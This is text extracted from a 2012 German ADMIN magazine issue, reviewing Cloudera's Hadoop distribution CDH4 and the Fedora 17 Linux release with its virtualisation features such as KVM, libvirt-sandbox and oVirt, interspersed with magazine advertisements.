Namen YARN (Yet Another Resource Negotiator)<br />
firmiert, ermöglicht es, die Last<br />
der Jobtracker-Daemons zu reduzieren.<br />
In der MRv1-Welt erfüllt der Jobtracker-<br />
Daemon von Hadoop zwei Aufgaben:<br />
Abbildung 1: Das neue Hadoop User Environment (Hue) im Browser.<br />
www.admin-magazin.de<br />
1. Er kümmert sich um die Planung der<br />
einzelnen Jobs und deren Verteilung auf<br />
die Tasktracker<br />
2. Er kümmerte sich um den Ablauf der<br />
einzelnen Tasks.<br />
Das YARN-System trennt diese beiden<br />
Aufgaben und verteilt sie auf zwei neue<br />
Daemons. Dabei kümmert sich der<br />
Resource Manager um die Verteilung der<br />
(Job-) Resourcen über das Cluster hinweg.<br />
Der Application Master kümmert sich um<br />
die Ausführung der Map-Reduce-Anwendung.<br />
Im Gegensatz zu einem globalen<br />
Jobtracker, der sich um das Wohl aller<br />
Map-Reduce-Anwendungen gleichermaßen<br />
kümmert, ist der Application Master<br />
nur für eine Map-Reduce-Anwendung<br />
zuständig. Der Application Master muss<br />
die benötigten Anwendungs-Resourcen<br />
vom Resourcen-Manager zugeteilt bekommen.<br />
Dieser etwas andere Ansatz<br />
bei der Verteilung von Speicher und CPU<br />
im Cluster orientiert sich stärker an dem<br />
ursprünglichen Ansatz aus Googles Map-<br />
Reduce-Konzept [2].<br />
Neuigkeiten im Ökosystem<br />
Den noch bis vor Kurzem herrschenden<br />
Konkurrenzkampf zwischen den Protocol<br />
Buffers von Google [3], dem Thrift-<br />
System [4] und Avro hat CDH4 zugunsten<br />
des Avro-Formats entschieden. Kein<br />
Wunder, ist Doug Cutting, der Erfinder<br />
von Hadoop, gleichzeitig auch Erfinder<br />
von Avro und bei Cloudera unter Vertrag.<br />
Avro ist für den Austausch großer,<br />
strukturierter Datenbestände, als Transportformat<br />
konzipiert worden. Definiert<br />
werden Avro-Schema mithilfe von JSON.<br />
Innerhalb der<br />
CDH4 können alle<br />
Anwendungen mit<br />
Avro im Datenimport<br />
und ‐Export<br />
umgehen.<br />
Daten werden innerhalb<br />
eines Hadoop-Ökosystems<br />
in der Regel importiert,<br />
verarbeitet<br />
und in andere<br />
Systeme exportiert.<br />
Als universeller<br />
„Streamer“ nutzt<br />
Clouderas Distribution<br />
das Apache<br />
Online-Training<br />
IT-Sicherheit<br />
Grundlagen<br />
mit Tobias Eggendorfer<br />
Themen:<br />
❚ physikalische Sicherheit<br />
❚ logische Sicherheit<br />
• Betriebssystem<br />
• Netzwerk<br />
❚ Sicherheitskonzepte<br />
❚ Sicherheitsprüfung<br />
@Kirsty Pargeter, 123RF<br />
20%<br />
Treue-Rabatt für<br />
Abonnenten<br />
Deckt in Teilbereichen auch das<br />
Prüfungswissen für LPIC-303-<br />
Inhalte ab.<br />
Inklusive Benutzer- und Rechteverwaltung,<br />
Authentifizierung,<br />
ACLs sowie wichtige Netzwerkprotokolle<br />
und mehr!<br />
Das Grundlagentraining für IT-<br />
Sicherheit richtet sich an Systemadministratoren<br />
und solche, die<br />
es werden wollen ebenso wie an<br />
ambitionierte Heimanwender.<br />
Nur 299 Euro inkl. 19 % MwSt.<br />
Informationen und Anmeldung unter:<br />
academy.linux-magazin.de/sicherheit<br />
Ausgabe 04-2012 103
Test<br />
Cloudera<br />
Abbildung 2: Mit der Hue-Browser-GUI lassen sich zum Beispiel neue Jobs auf<br />
dem Cluster anlegen.<br />
Flume System [5] in der Version 1.1.0.<br />
Flume implementiert dabei das Konzept<br />
der Datenquelle- und Senke. Quellen<br />
können zum Beispiel Log-Dateien-Ströme<br />
oder Daten im Avro-Format sein, Senken<br />
lassen sich mit HDFS oder einer HBase-<br />
Datenbank realisieren.<br />
Apache HBase, die spaltenorientierte<br />
Datenbank für Hadoop, wurde mit der<br />
Version 0.92.1 in CDH4 integriert. Neu<br />
in dieser Version sind Logging-Mechanismen,<br />
um langsame Abfragen (HiveQL)<br />
zu identifizieren, Tools für die Reparatur<br />
korrupter Daten, Nutzer-Authentifizierung<br />
und besseres Monitoring über Javas<br />
Management Extensions (JMX).<br />
Daten im Warenhaus<br />
Die Data-Warehouse-Anwendung Hive<br />
wurde in der Version 0.8.1 mit in die<br />
Distribution gepackt. Sie enthält nun<br />
endliche Zeitstempel und BLOBs als<br />
generische Datentypen, Bitmap-Indexes<br />
und Group-by-Optimierungen, um nur<br />
die wichtigsten Neuerungen zu nennen.<br />
In einem aktuellen Release lässt sich<br />
auch Apache Pig mit der Clouder-Distribution<br />
installieren. Die Version 0.92.1<br />
hinkt nur eine Versionsnummer hinter<br />
der aktuellen Apache-Version 0.10.0 her<br />
und enthält eine Reihe Verbesserungen<br />
<strong>gegen</strong>über der letzten Version. So wurde<br />
die Interoperabilität zwischen Pig, Avro<br />
und HBase genauso verbessert wie die<br />
Loader- und Store-Funktionalität für die<br />
Verarbeitung von CSV-Dateien. Nützlich<br />
für größere Projekte, die mit Pig realisiert<br />
werden sollen, ist das Penny-Framework<br />
[6], das sich für<br />
die Überwachung<br />
der Ausführung<br />
innerhalb eines<br />
Pig-Latin-Skripts<br />
eignet.<br />
Zum Datenaustausch<br />
mit relationalen<br />
Datenbanksystemen<br />
(RDBMS)<br />
bringt Cloudera<br />
Sqoop in der Version<br />
1.4.1 mit, das<br />
als Kommandozeilenwerkzeug<br />
Daten von und zu<br />
unterschiedlichen<br />
Systemen transferieren<br />
kann. Auf der Datenbank-Seite<br />
nutzt es dabei die von Java bekannte<br />
und leistungsfähige JDBC-Schnittstelle.<br />
Im aktuellen Release unterstützt es jetzt<br />
auch das Avro-Format. Damit lassen sich<br />
Datebank-Schemata in Avro-Schemata<br />
konvertieren und sogar komprimierte<br />
Avro-Datenströme verarbeiten.<br />
Etwas einfacher in der Handhabung ist<br />
das neue Hue (Hadoop User Environment,<br />
Abbildung 1) geworden, das ein<br />
Webbrowser-Frontend für die Nutzung<br />
von Hadoop bietet. Im Kern bietet das<br />
Tool einen (HDFS-)Dateibrowser, einen<br />
Job-Wizard zum einfachen Deployment<br />
von Map-Reduce-Anwendungen (Abbildung<br />
2) und mit Beeswax eine einfache<br />
Oberfläche, um CSV- und Excel-Dateien<br />
innerhalb von Hive nutzen zu können.<br />
Die Version 2.0 wurde vollständig neu<br />
und mithilfe von JQuery implementiert.<br />
Das ziemlich unschöne Namenode- Plugin<br />
für den Zugriff auf das HDFS wurde<br />
durch eine saubere WebHDFS/HttpFS-<br />
Implementierung ersetzt. Hue nutzt jetzt,<br />
wenn vorhanden, ein bestehendes LDAP-<br />
System, sodass die Nutzer-Authentifizierung<br />
zum Beispiel über OpenLDAP und<br />
Active Directory realisiert werden kann.<br />
Map-Reduce-Anwendungen werden nun<br />
über das Oozie-Workflow-Managementtool<br />
verarbeitet.<br />
Inklusive Amazon<br />
Apache Oozie ist mit Version 3.1.3 Teil<br />
der Cloudera-Distribution. Als wichtigste<br />
Neuerung ist hier die Verarbeitung<br />
von Hadoops neuen MRv2-Framework<br />
hinzugekommen. MRv2-MapReduce-<br />
Anwendungen lassen sich nun auch mithilfe<br />
von Apache Whirr in der Cloud betreiben,<br />
dank eines Updates auf Release<br />
0.7.1. So lassen sich zum Beispiel mehrere<br />
Amazon-EC2-Instanzen mit wenigen<br />
Kommandozeilenaufrufen starten und fit<br />
für die Nutzung mit Hadoop machen.<br />
Zu guter Letzt hat auch noch Apache<br />
Mahout, die Bibliothek für Algorithmen<br />
aus dem Bereich des Maschinellen Lernens,<br />
Eingang in Clouderas Distribution<br />
gefunden. In Version 0.6 sind einige neue<br />
Algorithmen für das Clustering und die<br />
Bayes Klassifikation dazugekommen.<br />
Fazit<br />
Ein komplexes Ökosystem, wie Hadoop<br />
und die hier aufgeführten Werkzeuge es<br />
bieten, möchte man nicht von Hand auf<br />
mögliche Inkompatibilitäten dieser oder<br />
jener Klassen-Bibliothek und Version<br />
untersuchen und installieren. Clouderas<br />
Nutzen liegt ganz klar in der einfachen<br />
Handhabung der ausgewählten Komponenten,<br />
die so aufeinander abgestimmt,<br />
im täglichen Beratungsalltag von Cloudera<br />
und bei eigenen Hadoop-Projekten<br />
unumgänglich sind. Man darf gespannt<br />
sein, ob andere Hadoop-Distributionen<br />
dem Platzhirsch Cloudera in absehbarer<br />
Zeit das Wasser reichen können. (ofr) n<br />
Infos<br />
[1] Cloudera CDH 4:<br />
[http:// www. cloudera. com/ cdh4/]<br />
[2] Map/Reduce: [http:// research. google. com/<br />
archive/ mapreduce‐osdi04. pdf]<br />
[3] Google Protocol Buffers: [http:// code.<br />
google. com/ p/ protobuf/]<br />
[4] Apache Thrift: [http:// thrift. apache. org/]<br />
[5] FLUME: [https:// cwiki. apache. org/ FLUME/]<br />
[6] Penny: [https:// cwiki. apache. org/<br />
confluence/ display/ PIG/ Penny]<br />
Der Autor<br />
Ramon Wartala ist Diplom-Informatiker und arbeitet<br />
als Director Technology für die Online-Marketing-Agentur<br />
Performance Media Deutschland<br />
GmbH. Neben den klassischen Datenbank-Anwendungen<br />
beschäftigen ihn vor allem auch solche,<br />
die mithilfe des Hadoop-Frameworks realisiert<br />
werden. Im Frühjahr diesen Jahres hat er das<br />
erste deutschsprachige Hadoop-Buch bei Open<br />
Source Press veröffentlicht.<br />
104 Ausgabe 04-2012 Admin www.admin-magazin.de
Probelesen<br />
ohne risiko<br />
Und Gewinnen!<br />
eines von sieben „SECU4Bags“<br />
elektronisches Sicherheitssystem für Handys,<br />
Tablets und Laptops mit Bluetooth<br />
20g leicht, bis zu 100 Stunden Akkulaufzeit<br />
Alarm bis zu 100dB, Schutzdistanz 5 bis 30m<br />
gesponsert von<br />
SONDERAKTION!<br />
Testen Sie jetzt<br />
3 Ausgaben für<br />
NUR 3€*<br />
Telefon: 07131 /2707 274<br />
Fax: 07131 / 2707 78 601<br />
E-Mail: abo@linux-user.de<br />
Mit großem Gewinnspiel unter:<br />
www.linux-user.de/probeabo<br />
* Angebot gilt innerhalb Deutschlands und Österreichs. In der Schweiz: SFr 4,50.<br />
Weitere Preise: www.linux-user.de/produkte
Test<br />
Fedora 17<br />
© James Weston , 123RF<br />
Fedora 17 bringt Ovirt-Management-Framework für Virtualisierungs-Stack<br />
An vorderster Front<br />
Fedora 17 bringt aus technologischer Sicht alles mit, was im Open-Source-Bereich im Sektor Cloud, <strong>Server</strong> oder<br />
Development künftig von Bedeutung sein wird. Damit eröffnet es einen einfachen Weg, mit den neuesten Entwicklungen<br />
der Red-Hat-Entwickler, wie KVM, Open Stack und Ovirt, zu experimentieren. Thomas Drilling<br />
Fedora ist gemäß der eigenen Philosophie<br />
eine Distribution mit zum Erscheinungszeitpunkt<br />
möglichst aktueller<br />
Softwareausstattung. Zwar dient Fedora<br />
unter anderem den Red-Hat-Entwicklern<br />
als Experimentierplattform für neue<br />
Technologien wie KVM oder Open Stack,<br />
ist aber aufgrund der Aktualität auch für<br />
Anwender interessant. Allerdings besteht<br />
Fedora definitionsgemäß ausschließlich<br />
aus freier Software. Linux-Anwender<br />
sollten daher über die zum Aufbohren<br />
des Systems mit proprietären Tools und<br />
Treibern erforderlichen Basis-Kenntnisse<br />
verfügen.<br />
Fundamentales<br />
Fedora 17 steht als installierbare Live-<br />
CD für Gnome sowie in Form von bei<br />
Fedora „Spins“ genannten Varianten für<br />
KDE- oder LXDE samt einer vollständigen<br />
Liste der enthaltenen Neuerungen<br />
auf der Projektseite [1] zum Download<br />
zur Verfügung. Eine kurze Zusammenfassung<br />
der Neuerungen von Fedora 17 aus<br />
Anwendersicht erläutert nebenstehender<br />
Kasten. Fedora 17 beruht auf einem Kernel<br />
3.3.4-5, samt der damit einhergehenden<br />
verbesserten Unterstützung für die<br />
Dateisysteme Btrfs und Ext4 und enthält<br />
jetzt „firewalled“ als Standard-Firewall-<br />
Lösung.<br />
Als Standard-Compiler kommt erstmals<br />
die GNU Compiler Collection (GCC) 4.7<br />
zum Einsatz. Das heißt die Fedora-Entwickler<br />
haben fast alle Pakete neu übersetzt.<br />
Als weitere Programmiersprachen<br />
stehen Ruby 1.9.3, PHP 5.4, Erlang R15<br />
und eine komplette „D“-Entwicklungsumgebung<br />
zur Verfügung. Außerdem<br />
haben die Entwickler die Haskell-Plattform<br />
aktualisiert. Ebenfalls an Bord: eine<br />
Vorabversion von „Juno“, dem für Mitte<br />
Juni angekündigten Eclipse-Nachfolger,<br />
der bei Erscheinen dieses Heftes aller<br />
Wahrscheinlichkeit nach bereits über<br />
das Paketmanagement aktualisiert sein<br />
wird. Als Java-Umgebung ist standardmäßig<br />
Java 7 (OpenJDK7) im Lieferumfang<br />
enthalten. Fedora 17 ist außerdem<br />
die weltweit erste Distribution mit der<br />
Version 9.96 von SugarCRM mit GTK+3-<br />
Unterstützung und enthält Red Hats Java-<br />
Applikationsserver JBoss 7 als schlanke<br />
Alternative zu Apache Tomcat sowie die<br />
„Distributed Interactive Engineering Toolbox“<br />
(DIET) [2].<br />
Entrümpelt<br />
Ein Novum bei Fedora 17 ist, dass die<br />
Entwickler die Verzeichnisse »/lib/«, »/<br />
lib64/«, »/bin/« und »/sbin/« abgeschafft<br />
haben; eine Entscheidung, die schon bei<br />
diversen Vorabversionen für reichlich<br />
Diskussionen gesorgt hatte. Die Fedora-<br />
Entwickler verschieben die genannten<br />
Verzeichnisse als Unterverzeichnisse<br />
106 Ausgabe 04-2012 Admin www.admin-magazin.de
Fedora 17<br />
Test<br />
nach »/usr«, wobei symbolische Links an<br />
den Ursprungspositionen dafür sorgen,<br />
dass die Abwärtskompatibilität erhalten<br />
bleibt und der Nutzer von der Änderung<br />
nichts bemerkt (Abbildung 1).<br />
Die Fedora-Entwickler erläutern die<br />
Gründe für diese tiefgreifende Maßnahme<br />
unter „UsrMove-Feature“ im Fedora-Wiki<br />
[3]. Einer der wesentlichen<br />
Gründe besteht darin, dass es ein derartiger<br />
Umbau der Verzeichnisstruktur<br />
zum Beispiel bei einem Update einfacher<br />
mache, einen kompletten Snapshot des<br />
Systems anzulegen, weil dann sämtliche<br />
System-Binaries im Verzeichnis »/usr« zu<br />
finden sind, das sich dann wiederum relativ<br />
einfach in ein eigenes Dateisystem<br />
auslagern oder schreibgeschützt über das<br />
Netz einbinden sowie von mehreren Systemen<br />
gleichzeitig nutzen lässt.<br />
Dass andere Distributions-Hersteller diesem<br />
Beispiel bisher nicht folgen, zeigt<br />
aber auch, dass nicht jeder dem Thema<br />
epochale Bedeutung zumisst. Problematisch<br />
ist die Änderung auf jeden Fall für<br />
Fedora-Nutzer, die Version 17 nicht vom<br />
ISO installieren, sondern ein System-Upgrade<br />
via Yum von Fedora 16 ausführen<br />
möchten. Als Lösung bietet sich dann<br />
nur ein nicht offiziell unterstützter Workaround<br />
an [4], der allerdings nur für<br />
versierte Fedora-Nutzer infrage kommt,<br />
die mit etwaigen Abhängigkeitsproblemen<br />
umzugehen wissen.<br />
Admin View<br />
Fedora richtet sich als Technologie-Trendsetter<br />
auch an experimentierfreudige Administratoren<br />
und bringt zu diesem Zweck<br />
eine Reihe interessanter neuer Enterprise-<br />
Funktionen mit. So enthält beispielsweise<br />
der Cluster-Stack jetzt unter anderem<br />
Corosync 2.0 und die Version1.1.8 des<br />
Cluster-Resource-Managers „Pacemaker“<br />
und hat darüber hinaus eine Reihe von<br />
Aktualisierungen für Hochverfügbarkeitsund<br />
Load-Balancing-Applikationen erfahren.<br />
Vorbildlich ausgestattet ist Fedora 17<br />
auch im Bereich Cloud-Technologien und<br />
bringt wie Ubuntu 12.0 neben der IaaS-<br />
Cloud-Lösung OpenNebula zum Einrichten<br />
privater, öffentlicher oder hybrider<br />
Clouds auch sämtliche Komponenten des<br />
aktuellen Major Release 2012.1 (Essex)<br />
von OpenStack mit.<br />
Das in Python entwickelte Open-Stack-<br />
Framework stellt genau wie Open Nebula<br />
eine komplett freie Architektur für Cloud<br />
Computing zur Verfügung. Zu dessen<br />
Administration steht das Webinterface<br />
„Horizon“ zur Verfügung, und das Modul<br />
„Quantum“ implementiert Virtual<br />
Networking Services.<br />
Das Fedora-17-ISO basiert auf einem Kernel<br />
3.3.4, allerdings spielte die Aktualisierungsverwaltung<br />
zum Zeitpunkt des<br />
Tests nur wenige Tage nach Veröffentlichung<br />
ein Kernel-Update auf die Version<br />
3.3.7 ein.<br />
Die den Kernel 3.3.4 betreffenden Neuerungen<br />
dürften Admins ohnehin weitgehend<br />
bekannt sein, weil die meisten<br />
schon in Fedora 16 enthalten waren. Allerdings<br />
haben die Red-Hat-Entwickler<br />
einige der offiziell erst im Kernel 3.4<br />
enthaltenen Funktion bereits in den Fedora-Kernel<br />
einfließen lassen, wie etwa<br />
die Stromspartechnik RC6 oder den im<br />
Verlauf des Beitrages vorgestellten Virtio-<br />
SCSI-Treiber für KVM. Ferner enthält das<br />
von den Fedora-Entwicklern schon seit<br />
der Version 15 verwendete Init-System<br />
Systemd jetzt einen Login-Manager<br />
»systemd‐logind«. Dieser soll eine Reihe<br />
von Aufgaben im Umfeld des Benutzermanagements<br />
übernehmen und ersetzt<br />
unter anderem Consolekit.<br />
Datenträger und<br />
Dateisysteme<br />
Für Fedora-Kenner erwähnenswert ist<br />
zudem die Tatsache, dass auch die neue<br />
Fedora-Version Btrfs nicht als Standard-<br />
Dateisystem verwendet. Etwaige Planungen,<br />
Btrfs zum Standard zu machen,<br />
scheinen bis Fedora 18 auf Eis zu liegen,<br />
obwohl Fedora 17 immerhin bereits<br />
(noch) nicht offiziell freigegebene Tools<br />
zum Prüfen und Reparieren von Btrfs-<br />
Laufwerken beilegt (Abbildung 2).<br />
Dafür soll Ext4 bei Fedora 17 auch<br />
mit Datenträgern größer 16 TByte zurechtkommen.<br />
Übrigens hängt Fedora<br />
17 Wechseldatenträger nicht mehr wie<br />
bei den meisten Distributionen üblich<br />
unter »/media«, sondern unter »/run/<br />
media/$USER« ein.<br />
Virtio-SCSI<br />
Selbstverständlich haben die Red-Hat-<br />
Entwickler die Gelegenheit genutzt, auch<br />
KVM selbst in vielen Bereichen zu überarbeiten<br />
und die offiziell nur im aktuellen<br />
Kernel 3.4 enthaltenen Neuerungen am<br />
KVM-Code auch im Fedora-Kernel verfügbar<br />
gemacht. So enthält KVM jetzt<br />
eine virtualisierte PMU (Performance Monitoring<br />
Unit) für Gäste sowie eine Live-<br />
Block-Kopierfunktion, mit deren Hilfe<br />
sich Speichermedien von Gastsystemen<br />
Abbildung 1: Fedora 17 verschiebt Systemverzeichnisse an eine andere Position,<br />
sorgt aber mit symbolischen Links für Abwärtskompatibilität.<br />
Abbildung 2: Das Experimentieren mit Btrfs ist zwar möglich, Default-<br />
Dateisystem ist es aber noch immer nicht.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
107
Test<br />
Fedora 17<br />
kopieren lassen, während diese online<br />
sind. Installiert der Admin beispielsweise<br />
das Paket »Guest filesystem browser« und<br />
»System administration tools for virtual<br />
machines«, kann er mit einer grafischen<br />
GUI das Gast-Filesystem über den entsprechenden<br />
KVM-Treiber inspizieren<br />
(Abbildung 3). Zum weiteren Experimentieren<br />
mit KVM muss der Admin außerdem<br />
das Paket »QEMU metapackages<br />
for KVM support« installieren.<br />
PCI-2.3-Geräte kann das neue Fedora<br />
an Gäste durchreichen. Diese teilen sich<br />
dann auf dem Host eine Interrupt-Leitung<br />
mit anderen PCI-Geräten. Die in Fedora<br />
17 enthaltene KVM-Version enthält außerdem<br />
das ebenfalls offiziell nur im<br />
Kernel 3.4 vorhandene Virtio-SCSI, ein<br />
neuer SCSI-Storage-Stack für KVM-Gastsysteme.<br />
Der neue Storage-Treiber für das<br />
SCSI-Subsystem regelt zusammen mit der<br />
gleichlautenden Qemu-Unterstützung den<br />
Datenverkehr zwischen Gast und Host<br />
<strong>gegen</strong>über dem bisherigen „virtio-blk“-<br />
Treiber mit weniger Overhead, skaliert<br />
besser und ist einfacher zu handhaben.<br />
Andere Distributionen werden KVM-Virtio-SCSI<br />
erst mit Integration des Kernel<br />
3.4 anbieten können.<br />
Virtsandbox<br />
Fedora 17 bringt als eine der ersten Distributionen<br />
die von Red Hat entwickelte<br />
Bibliothek Libvirt-Sandbox [5] mit, die<br />
Daniel Berrange im Februar dieses Jahres<br />
auf der FOSDEM in Brüssel vorgestellt<br />
hat. Sie erlaubt das Einsperren einzelner<br />
Applikationen mithilfe von KVM oder<br />
wahlweise auch mit LXC in eine abgesicherte<br />
Sandbox. Der Clou dabei ist, dass<br />
Abbildung 3: Fedora ist im Virtualisierungsbereich bestens ausgestattet, wenn auch keines der Pakete per<br />
Default installiert ist.<br />
das explizite Einrichten des Betriebssystems<br />
in der VM nicht notwendig und der<br />
Overhead damit sehr klein ist.<br />
In der Variante auf Basis von KVM startet<br />
Virtsandbox den Kernel samt Initramfs in<br />
einer VM, die ihrerseits nach dem Booten<br />
die eigentliche Anwendung aufruft. Da<br />
der Kernel der VM mithilfe des Qemu-<br />
Features Plan9fs (Plan 9 File System, [6])<br />
Teile des Host-Dateisystems lesen kann,<br />
entfällt die Betriebssystem-Installation in<br />
der VM, sodass der zeitliche Aufwand<br />
beim Starten einer mithilfe der Libvirt-<br />
Sandbox eingesperrten Anwendung laut<br />
Daniel Berrange kaum ins Gewicht fällt.<br />
Laut Red Hats Messungen verzögert sich<br />
der Start einer Anwendung in der geschützten<br />
Virtsandbox um maximal 3 Sekunden<br />
<strong>gegen</strong>über dem nativen Start. Bei<br />
der Virtsandbox-Methode soll laut Red<br />
Hat der Zugriff auf die CPU weitgehend<br />
ohne Performance-Einbußen erfolgen,<br />
während der Zugriff auf Geräte nur mit<br />
knapp 90 Prozent der Geschwindigkeit<br />
(<strong>gegen</strong>über dem nativen Ausführen der<br />
gleichen Anwendung) erfolgt.<br />
Das Einrichten der Sandbox erfolgt über<br />
das CLI-Tool »virt‐sandbox«, mit dessen<br />
Hilfe der Admin beispielsweise festlegt,<br />
ob oder welche Netzwerk-Ressourcen in<br />
Neuerungen Fedora 17 aus Anwendersicht<br />
Zwar ist Fedora vor allem für Admins interessant,<br />
ist aber dennoch neben Ubuntu und Suse<br />
eine beliebte Desktop-Distribution, die beispielsweise<br />
als eine der ersten Distributionen Gnome<br />
3.4.1 als Standard-Desktop mitbringt.<br />
Gnome 3.4.1 enthält unter anderem die Applikation<br />
Gnome-Boxes, die Nutzern einen einfachen<br />
Zugriff auf virtuelle Maschinen ermöglicht.<br />
Ferner haben die Entwickler die Zusammenarbeit<br />
mit der Gnome-Extension-Site verbessert,<br />
sodass der Anwender in den Genuss von zur<br />
Zeit knapp hundert Erweiterungen gelangt, mit<br />
deren Hilfe sich das Verhalten der Gnome Shell<br />
in weiteren Bereichen den eigenen Wünschen<br />
anpassen lässt.<br />
Übrigens funktioniert die Gnome Shell bei Fedora<br />
17 mithilfe des Mesa-3D-Treibers Llvmpipe<br />
[9] auch ohne 3D-Beschleunigung, indem der<br />
Treiber die erforderlichen 3D-Berechnungen<br />
vom Hauptprozessor ausführen lässt. Aktuelle<br />
Desktop-Prozessoren sollten dafür allerdings<br />
genügend Leistungsreserven mitbringen. Das<br />
Software Rendering durch Llvmpipe sollte sogar<br />
in Virtualisierungsumgebungen ein flüssiges<br />
Arbeiten ermöglichen.<br />
Wer Fedora trotzdem lieber mit KDE-Desktop<br />
einsetzen möchte, kann entweder gleich zum<br />
KDE-Spin greifen oder die benötigten KDE-Pakete<br />
nachinstallieren, die bei Fedora 17 durchweg<br />
auf der KDE SC 4.8.3 basieren, was allerdings<br />
keine Neuerung <strong>gegen</strong>über dem letzten Update<br />
für Fedora 16 darstellt. KDE-Desktop-Effekte<br />
funktionieren ohne passende 3D-Treiber nicht,<br />
sollen aber in einer der kommenden Versionen<br />
ebenfalls mithilfe von Llvmpipe möglich sein.<br />
Wahlweise kann der Fedora-Nutzer auch den<br />
ballastärmeren Xfce-Desktop in der Version<br />
4.08 nutzen.<br />
Die neueste Xfce-Version 4.10 vom April diesen<br />
Jahres steht da<strong>gegen</strong> nur in Form eines inoffiziellen<br />
Repositorys [10] zur Verfügung. Außerdem<br />
liegen LibreOffice in der Version 3.5.2.1<br />
und Gimp in der neuen Version 2.8 bei. Letzteres<br />
bringt unter anderem den von den Fans lang<br />
ersehnten Ein-Fenster-Modus mit.<br />
108 Ausgabe 04-2012 Admin www.admin-magazin.de
Fedora 17<br />
Test<br />
Ovirt eignet sich nicht nur für den Zugriff<br />
auf RHEV-Plattformen, sondern eignet<br />
sich zur Verwaltung aller Virtualisierungslösungen,<br />
die auf KVM basieren.<br />
Dazu muss auf virtuellen Desktops und<br />
<strong>Server</strong>n, die via Ovirt administrierbar<br />
sein sollen, ebenso wie auf dem Hypervisor<br />
zusätzlich zur Libvirt die Ovirt-<br />
Komponente VDSM installiert sein.<br />
Abbildung 4: Neu in Fedora 17: oVirt, das Management-Tool für auf KVM basierende Virtualisierungsumgebungen.<br />
der Sandbox zur Verfügung stehen, nachdem<br />
er »libvirt‐sandbox« via »yum install<br />
libvirt‐sandbox« installiert hat.<br />
Virtuelle Sandbox sperrt<br />
Anwendungen ein<br />
Die Einsatzmöglichkeiten für Libvirtsandbox<br />
sind zahlreich. Daniel Berrange<br />
führte in seinem Vortrag beispielsweise<br />
die Möglichkeit an, <strong>Server</strong>-Anwendungen<br />
wie Apache rein virtuell zu hosten oder<br />
RPM-Pakete in einer isolierten Umgebung<br />
zu bauen. Auch auf Anwenderseite<br />
sind Einsatzszenarien vorstellbar, etwa<br />
das Verarbeiten nicht vertrauenswürdiger<br />
Multimedia-Streams oder das Einsperren<br />
des gesamten Web-Browsers in<br />
den virtuellen Sandkasten. Das brächte<br />
etwa beim Online-Banking den Vorteil,<br />
dass der Rechner während der Dauer der<br />
Banking-Session von übrigen Internet-<br />
Aktivitäten isoliert bliebe.<br />
Bildschirmausgaben aus der VM an das<br />
Host-System lassen sich außer mit VNC<br />
bei Fedora auch via „Spice“ erledigen, das<br />
seit dem Kauf von Qumranet durch Red<br />
Hat im Jahr 2008 auch in Fedora verfügbar<br />
ist. Die Libvirt-Sandbox ist laut Daniel<br />
Berrange flexibler einsetzbar als die<br />
bereits seit dem Jahr 2009 in RHEL und<br />
Fedora verfügbare SELinux-Sandbox.<br />
Apropos SELinux: Dies ist in der in<br />
Fedora 17 enthaltenen Version in der<br />
Lage, Prozessen zu verbieten, mithilfe<br />
des Funk tionsaufrufes »ptrace« (Process<br />
Trace) den Speicher anderer Prozesse<br />
zu analysieren, ähnlich wie beim im aktuellen<br />
Kernel 3.4 enthaltenen Security<br />
Modul Yama. Allerdings muss der Admin<br />
das Feature mit »setsebool ‐P deny_ptrace<br />
1« explizit einschalten. Weitere Einzelheiten<br />
zu Virtsandbox finden sich im<br />
Fedora-Wiki [8]. Ferner unterstützt Virt-<br />
Manager in Fedora 17 auch das Durchreichen<br />
von USB-Geräten.<br />
Fedora 17 enthält als erste freie Distribution<br />
das Virtualisierungs-Managementsystem<br />
Ovirt in Version 3.0.0, das<br />
nun nicht mehr als Vorabversion gilt<br />
[7]. Eine aktuellere Version findet sich<br />
auch auf der Ovirt-Projektseite [8] nicht,<br />
und schneller als mit Fedora 17 lässt<br />
sich die Lösung kaum testen. Mit Ovirt<br />
hat Red Hat seit einiger Zeit eine Javabasierte<br />
Verwaltungsoberfläche für seine<br />
Enterprise Virtualisierung in Arbeit, die<br />
insbesondere beim eigenen RHEV das<br />
bisher fehlende Puzzleteil darstellt, um<br />
Red Hats Virtualisierung-Stack ohne Hilfe<br />
einer Windows-Maschine administrieren<br />
zu können.<br />
VM-Management jetzt ohne<br />
Windows<br />
Was absurd kling, hat einen konkreten<br />
Hintergrund, denn Red Hat hat im Jahr<br />
2008 nicht nur den vom israelischen<br />
KVM-Spezialisten Qumranet entwickelten<br />
KVM-Hypervisor übernommen, sondern<br />
in der Hoffnung, sich mit einer eigenen<br />
Technologie <strong>gegen</strong> die etablierten Virtualisierungsanbieter<br />
VMware und Citrix<br />
positionieren zu können, auch gleich<br />
die ganze Firma samt ihres bereits fast<br />
fertig entwickelten Desktop-Virtualisierungs-Produktes<br />
gekauft. Dummerweise<br />
enthielt das Qumranet-Produkt auch einige<br />
lästige Abhängigkeiten von .NET<br />
und Active Directory, die Linux-Admins<br />
bisher ein Dorn im Auge waren.<br />
Erst mit der Ende 2011 veröffentlichten<br />
Version 3.0 von RHEV hatten es<br />
die Red- Hat-Entwickler geschafft, das<br />
Management-Tool von C# auf Java zu<br />
portieren, sodass die Software jetzt mit<br />
einem JBoss als Applikationsserver läuft.<br />
Fazit<br />
Wie üblich zündet Fedora 17 ein Feuerwerk<br />
neuer Funktionen und integriert aktuellste<br />
Entwicklungen der Open-Source-<br />
Welt. Während einiges davon, wie die<br />
Gnome-3.4.1-Integration, vorrangig für<br />
Anwender von Bedeutung und anderes,<br />
wie die Umstrukturierung zentraler Verzeichnisse,<br />
auch umstritten ist, bietet<br />
Fedora vor allem Administratoren eine<br />
einfache Möglichkeit, mit den neuesten<br />
Technologien der Red-Hat-Entwickler zu<br />
experimentieren. Red Hat ist einer der<br />
wenigen Enterprise-Linux-Hersteller von<br />
wirtschaftlich und technologisch herausragendem<br />
Stellenwert und positioniert<br />
sich mit seinen Cloud- und Virtualisierungstechnologien<br />
als dritte Kraft neben<br />
VMware und Citrix. Die Community-<br />
Distribution Fedora 17 ermöglicht einen<br />
schnellen Blick auf Red Hats Management-Framework<br />
Ovirt oder die neuesten<br />
KVM-Erweiterungen. (ofr)<br />
n<br />
Infos<br />
[1] Fedora 17:[http:// fedoraproject. org/ de/<br />
get‐fedora‐options]<br />
[2] DIET:[http:// fedoraproject. org/ wiki/<br />
Features/ F17_DIET]<br />
[3] UsrMove: [http:// fedoraproject. org/ wiki/<br />
Features/ UsrMove]<br />
[4] Workaround Fedora Upgrade: [https://<br />
fedoraproject. org/ wiki/ Upgrading_Fedora_<br />
